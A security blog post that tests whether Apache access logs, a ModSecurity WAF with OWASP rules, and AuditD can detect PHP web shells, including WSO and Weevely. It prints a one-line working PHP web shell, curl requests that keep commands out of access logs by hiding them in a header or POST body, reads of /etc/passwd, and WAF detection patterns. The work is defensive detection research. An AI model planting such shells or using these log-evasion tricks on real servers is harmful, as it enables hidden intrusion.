Detection of PHP Web Shells with Access log, WAF and Audit Deamon

Peter Matkovski
10 min readApr 15, 2019

--

If a Web server present in your environment is targeted or falls prey to an exploited vulnerability. As a custodian or guardian of the environment, you want to be sure that you can detect, investigate and react immediately, the instance that the exploit or vulnerability is discovered.

One of the most common tactics used is that an attacker will open a communication channel to the underlying operating system, through a web server (like Apache/Nginx/IIS) abusing compromised application.

To simulate scenario, we created a simple PHP web shell and deployed it among common of-the-shelf shells to evaluate common detection methods.

Web Shell is a tactic of persistence and privilege escalation ( MITRE Attack framework; ID: T1100). Full definition:

“A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). [1]

Web shells may serve as Redundant Access or as a persistence mechanism in case an adversary’s primary access methods are detected and removed.”

The scope of this scenario is limited to PHP based Web Shells supporting PHP 7. Web shell can be written in any language supported by a particular Web server. Most commons are PHP, ASP, Python, Java and so. Reverse connected shell sessions are out of scope as well. This GitHub repo contains blueprints in 15 different programming languages.

Summary

Default OS and Web Server loggings were not sufficient to monitor commands invoked by an attacker. That was accomplished by AuditD in rich detail.
ModSecurity WAF enriched by OWASP Rule Set triggered alerts on system commands only in case of Simple DIY Web Shell. No alert was triggered in case of well known WSO Shell and only encoding related warnings in case of Weevely Shell.

Monitoring of AuditD outputs was seen as the most reliable method to detect and investigate attack techniques based on Web Shell access.

Theory: How PHP Web Shell works

PHP Web Shells do nothing more than use in-built PHP functions to execute commands. The minimal example is a PHP file with the following content:

<?php system($_GET['cmd']);?>

Visit the crafted URL to execute ‘whoami’ command:

Apart from used system function, here are some of the most common functions used to execute shell commands in PHP:

Acunetix posted more details about how these functions are implemented.

These PHP functions are often enabled by default, to disable them, modify the disable_functions directive in the php.ini file. This directive takes a comma-delimited list. For example, to disable the exec and system functions, use the following directive:

disable_functions = "exec, system"

To verify the current value of the disable_functions directive and other directives, you can use the phpinfo() function.

Theory applied: DIY Simple Shell

Let's construct a simple PHP Shell with system() function:

PHP File was uploaded to out test web server and executed:

Tailing the access log, we can see that all our actions are clearly visible in the log file:

192.168.56.1 - - [15/Mar/2019:10:15:24 +0000] "GET /shells/simple1.php?cmd=ls+-la HTTP/1.1" 200 268 "http://192.168.56.101/shells/simple1.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0"192.168.56.1 - - [15/Mar/2019:10:25:00 +0000] "GET /shells/simple1.php?cmd=pwd HTTP/1.1" 200 212 "http://192.168.56.101/shells/simple1.php?cmd=ls+-la" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0"192.168.56.1 - - [15/Mar/2019:10:25:08 +0000] "GET /shells/simple1.php?cmd=whoami HTTP/1.1" 200 205 "http://192.168.56.101/shells/simple1.php?cmd=pwd" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0"

Default access log format contains the following field from the HTTP request:

To avoid logging of our commands but still using GET request, we need to move commands to another part of the HTTP request. Accepted-Language is a good candidate as rogue values will not break valid request.

Minimal PHP shell using GET and Accept-Language

Let's send a GET request with a curl:

curl -i -X GET http://192.168.56.101/shells/simple2.php -H "Accept-Language: ls -la"

Response:

Now the commands are not visible in the access log anymore:

The Access log entry for curl requests

Hidding of malicious commands becomes more straight-forward using POST requests. The data part of the POST requests is rarely logged in full scope as it significantly increases storage requirements and brings new security and privacy issues on the table.

Now fire the following POST request:

curl -i -X POST http://192.168.56.101/shells/simple3.php -d "cmd=ls%20-la"
Successful POST request

A command “ls -la” is not visible in POST request log entry neither:

Access log entry for POST request

By default, an Apache runs as user ‘www-data’ without an assigned terminal. This implicates that nowhere in the system are these commands recorded.

Preparation: Web Server Setup — the target

Default Apache/Nginx logging is not enough to alert on suspicious traffic. Enhancements of our logging capabilities will be required, on the host and at the network level.

Web Server is built on Ubuntu 18.04 and Apache2.

Two non-default detection methods were configured:

  • ModSecurity, a popular Open Source Web App Firewall, enhanced by full OWASP rule set. Logs from ModSecurity are dropped to verbose /var/log/apache2/modsec_audit.log file and to standard apache2 file /var/log/apache2/error.log.
  • AuditD, The Linux Audit system tracking security-relevant information on the system. Standard AuditD log file is /var/log/audit/audit.log.The following configuration will record all commands of ‘www-data’ user and all write actions in web directory /var/www/html:
$id -u www-data
33
$auditctl -a exit,always -F arch=b64 -F uid=33 -S execve -k auditcmd
$auditctl -a exit,always -F arch=b32 -F uid=33 -S execve -k auditcmd
$auditctl -w /var/www/html -pw

Add of-the-shelf PHP Web Shells

Aside to our simple DIY PHP Web Shell, two of-the-shelf shells were deployed:

  • WSO Shell, WSO can be easily used to execute malicious PHP code on target sites. Hence, the WSO Web Shell is frequently used by hackers of all levels
  • weevely3, a web shell designed for post-exploitation purposes that can be extended over the network at runtime
Weevely payload — small and obfuscated

Test Scenario

Log entries of DIY shell and two off-the-shelf shells will be analyzed. In the test scenario, the attacker will conduct the following actions:

  1. login to shell
  2. read file “$ cat /etc/passwd
  3. upload & run “hello world” bash script:
#!/bin/bash
echo "hello world"

The test will run in the following order:

  1. DIY shell — (login not applicable), read file, upload & run script
  2. WSO Shell — login, read file, upload & run script
  3. Weelely Shell — (login not applicable), read file, upload & run script

Shells in action — What we can see in the logs?

TEST 1: DIY Simple Shell

  1. login to shell — Our simple shell do not have a login functionality

2) “cat /etc/passwd”.

Simple PHP shell running “cat /etc/passwd”

Reviewing the logs below, firstly we can see that the ‘access.log’ has not recorded any artifacts during the execution. Within the ModSecurity ‘error.log’, we can see a matched rule signature for the command “cat /etc/passwd”. A result at least but a result that implies that other, less standard commands might be missed and go un-recorded by ModSecurity. Then finally AuditD ‘audit.log’, logged full command executions.

access.log:

192.168.56.1 - - [04/Apr/2019:09:24:37 +0000] "POST /simple3.php HTTP/1.1" 200 1852 "-" "Mozilla 5.0"

ModSecurity error.log (trimmed):

ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:cmd. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"][msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:cmd: cat /etc/passwd"]ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:cmd. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:cmd: cat/etc/passwd"]

AuditD audit.log (trimmed):

type=SYSCALL uid=33 tty=(none) comm="cat" exe="/bin/cat" key="auditcmd"type=EXECVE msg=audit(1554369877.661:1936): argc=2 a0="cat" a1="/etc/passwd"

3) Dropping PHP script and running it:

echo 'echo "hello word"' > hello.sh && chmod +x hello.sh && ./hello.sh

access.log:

192.168.56.1 - - [04/Apr/2019:12:22:02 +0000] "POST /simple3.php HTTP/1.1" 200 359 "-" "curl/7.58.0"

error.log (trimmed):

ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:cmd. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: && chmod found within ARGS:cmd: echo 'echo \\x22hello word\\x22' > hello.sh && chmod +x hello.sh && ./hello.sh"]ModSecurity: Warning. Pattern match "(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]*(?:s(?:[\\\\\\\\'\\"]*(?:b[\\\\\\\\'\\"]*_[\\\\\\\\'\\"]*r[\\\\\\\\'\\"]*e[\\\\\\\\'\\"]*l[\\\\\\\\' ..." at ARGS:cmd. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][msg "Remote Command Execution: Direct Unix Command Execution"] [data "Matched Data: echo  found within ARGS:cmd: echo 'echo \\x22hello word\\x22' > hello.sh && chmod +x hello.sh && ./hello.sh"]

audit.log (trimmed):

type=SYSCALL uid=33 tty=(none) comm="sh" exe="/bin/dash" key=(null)type=PATH item=1 name="hello.sh" inode=662617 ouid=33 ogid=33 type=SYSCALL uid=33 tty=(none)comm="chmod" exe="/bin/chmod" type=EXECVE argc=3 a0="chmod" a1="+x" a2="hello.sh"type=SYSCALL uid=33 tty=(none) comm="sh" exe="/bin/dash" type=CWD cwd="/var/www/html"type=SYSCALL uid=33 tty=(none) comm="sh" exe="/bin/dash" type=EXECVE msg=audit(1554380654.720:2167): argc=2 a0="/bin/sh" a1="./hello.sh"

TEST 2: WSO Shell

1)Login to shell

Login screen of WSO Shell

access.log:

192.168.56.1 - - [04/Apr/2019:14:32:40 +0000] "GET /wso.php HTTP/1.1" 200 1469 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0"192.168.56.1 - - [04/Apr/2019:14:33:16 +0000] "POST /wso.php HTTP/1.1" 200 6038 "http://lamp/wso.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0"192.168.56.1 - - [04/Apr/2019:14:33:16 +0000] "GET /wso.php HTTP/1.1" 200 5958 "http://lamp/wso.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0"

error.log: No records

audit.log (trimmed):

type=SYSCALL uid=33 tty=(none) comm="sh" exe="/bin/dash" key="auditcmd"type=CWD msg=audit(1554389274.243:1580): cwd="/var/www/html"

2) read file “$ cat /etc/passwd

WSO Shell reading /etc/passwd file

access.log:

192.168.56.1 - - [04/Apr/2019:14:36:42 +0000] "POST /wso.php HTTP/1.1" 200 6278 "http://lamp/wso.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0"192.168.56.1 - - [04/Apr/2019:14:36:43 +0000] "GET /wso.php HTTP/1.1" 200 5959 "http://lamp/wso.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0

error.log: No entry

audit.log (trimmed):

type=SYSCALL euid=33 tty=(none) comm="sh" exe="/bin/dash" type=CWD cwd="/var/www/html"type=SYSCALL uid=33 comm="cat" exe="/bin/cat" key="auditcmd"type=EXECVE argc=2 a0="cat" a1="/etc/passwd"

3) upload & run “hello world” bash script to the created folder

access.log:

192.168.56.1 - - [04/Apr/2019:14:49:02 +0000] "POST /wso.php HTTP/1.1" 200 5790 "http://lamp/wso.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0"192.168.56.1 - - [04/Apr/2019:14:49:02 +0000] "GET /wso.php HTTP/1.1" 200 5951 "http://lamp/wso.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0"

error.log: empty

audit.log (trimmed):

type=SYSCALL uid=33 comm="sh" exe="/bin/dash" type=CWD cwd="/var/www/html"

type=PATH item=1 name="hello.sh"
type=SYSCALL uid=33 comm="chmod" exe="/bin/chmod" key="auditcmd"type=EXECVE margc=3 a0="chmod" a1="+x" a2="hello.sh"type=SYSCALL uid=33 comm="sh" exe="/bin/dash" key="auditcmd"type=CWD cwd="/var/www/html"type=SYSCALL uid=33 comm="sh" exe="/bin/dash" key="auditcmd"type=EXECVE argc=2 a0="/bin/sh" a1="./hello.sh"
Logout from WSO Shell

TEST 3: Weelely Shell

Weelely does not have classic login process. Login is done with the first command fired to target.

Weevely shell

2) read file “$ cat /etc/passwd

access.log:

192.168.56.1 - - [04/Apr/2019:14:52:01 +0000] "POST /weevely.php HTTP/1.1" 200 228 "-" "Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)"192.168.56.1 - - [04/Apr/2019:14:52:01 +0000] "POST /weevely.php HTTP/1.1" 200 228 "-" "Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)"192.168.56.1 - - [04/Apr/2019:14:52:01 +0000] "POST /weevely.php HTTP/1.1" 200 984 "-" "Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)"

error.log (trimmed):

ModSecurity: Warning. Invalid URL Encoding: Non-hexadecimal digits used at REQUEST_BODY. [msg "URL Encoding Abuse Attack Attempt"] [data "X`$a1\\x0dL\\x0a!(.BLM1 ecd0e0f08eabTfkpKPz67gQBVNZV5YY/NCKzYVQ7690d2a6ee69HS d.]Q<%55~Z%^|"]ModSecurity: Warning. Pattern match "[\\\\n\\\\r]" at ARGS_NAMES:X`$a1\\rL\\n!(.BLM1 ecd0e0f08eabTfkpKPz67gQBVNZV5YY/NCKzYVQ7690d2a6ee69HS d.]Q<U~Z%^|. [msg "HTTP Header Injection Attack via payload (CR/LF detected)"] [data "Matched Data: \\x0d found within ARGS_NAMES:X`$a1\\x5crL\\x5cn!(.BLM1 ecd0e0f08eabTfkpKPz67gQBVNZV5YY/NCKzYVQ7690d2a6ee69HS d.]Q<U~Z%^|: X`$a1\\x0dL\\x0a!(.BLM1 ecd0e0f08eabTfkpKPz67gQBVNZV5YY/NCKzYVQ7690d2a6ee69HS d.]Q<U~Z%^|"] 

audit.log (trimmed):

type=CWD cwd="/var/www/html"type=SYSCALL uid=33 comm="cat" exe="/bin/cat" key="auditcmd"type=EXECVE argc=2 a0="cat" a1="/etc/passwd"type=CWD cwd="/var/www/html"

3) upload & run “hello world” bash script to the created folder

access.log:

192.168.56.1 - - [04/Apr/2019:14:53:47 +0000] "POST /weevely.php HTTP/1.1" 200 259 "-" "Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)"

error.log (trimmed):

ModSecurity: Warning. Invalid URL Encoding: Non-hexadecimal digits used at REQUEST_BODY. [msg "URL Encoding Abuse Attack Attempt"] [data "X`$a1\\x0dL\\x0a!(.BLM1 ecd0e0f08eabTfk36HM4+wQlZd3XxqJtsPOzwTVOenh+h9/jQVkFkOXqPnZhffH1URlcTcgEvWB4mLAy7POe8BseO1tdpgZ+2LLGvPj8GvtGJNnRca1c1FVenPdu9GSaEbOM6eMCNr/+1/8rpjot1ga0NwJMgLHExxoThALxmsNZw2OBxgBx7690d2a6ee69HS d.]Q<%55~Z%^|"] ModSecurity: Warning. Pattern match "[\\\\n\\\\r]" at ARGS_NAMES:X`$a1\\rL\\n!(.BLM1 ecd0e0f08eabTfk36HM4 wQlZd3XxqJtsPOzwTVOenh h9/jQVkFkOXqPnZhffH1URlcTcgEvWB4mLAy7POe8BseO1tdpgZ 2LLGvPj8GvtGJNnRca1c1FVenPdu9GSaEbOM6eMCNr/ 1/8rpjot1ga0NwJMgLHExxoThALxmsNZw2OBxgBx7690d2a6ee69HS d.]Q<U~Z%^|. [msg "HTTP Header Injection Attack via payload (CR/LF detected)"] [data "Matched Data: \\x0d found within ARGS_NAMES:X`$a1\\x5crL\\x5cn!(.BLM1 ecd0e0f08eabTfk36HM4 wQlZd3XxqJtsPOzwTVOenh h9/jQVkFkOXqPnZhffH1URlcTcgEvWB4mLAy7POe8BseO1tdpgZ 2LLGvPj8GvtGJNnRca1c1FVenPdu9GSaEbOM6eMCNr/ 1/8rpjot1ga0NwJMgLHExxoThALxmsNZw2OBxgBx7690d2a6ee69HS d.]Q<U~Z%^|: X`$a1\\x0dL\\x0a!(.BLM1 ecd0e0f08eabTfk36HM4 wQlZd3XxqJtsPOzwTVOenh h9/jQVkFkOXqPnZhffH1URlcTcgEvWB4mLAy7POe8BseO1tdpgZ 2LLGvPj8GvtGJNnRca1c1FVenPdu9GSaEbOM6eMCNr/ 1/8rpjot1ga0NwJMgLHExxoThALxmsNZw2OBxgBx7690d2a6ee69HS d.]Q<U~Z%^|"]

audit.log (trimmed):

type=SYSCALL uid=33 ses=4294967295 comm="sh" exe="/bin/dash" type=CWD cwd="/var/www/html"type=PATH item=1 name="hello.sh" ouid=33 type=SYSCALL uid=33 comm="chmod" exe="/bin/chmod"type=EXECVE msg=audit(1554389627.679:1594): argc=3 a0="chmod" a1="+x" a2="hello.sh"type=CWD msg=audit(1554389627.683:1595): cwd="/var/www/html"type=PATH item=0 name="./hello.sh" inode=662617 dev=08:02 mode=0100755 ouid=33 type=SYSCALL uid=33 comm="sh" exe="/bin/dash" type=EXECVE msg=audit(1554389627.683:1596): argc=2 a0="/bin/sh" a1="./hello.sh"

Continue to the next article to create SIGMA detection rule.

END

--

--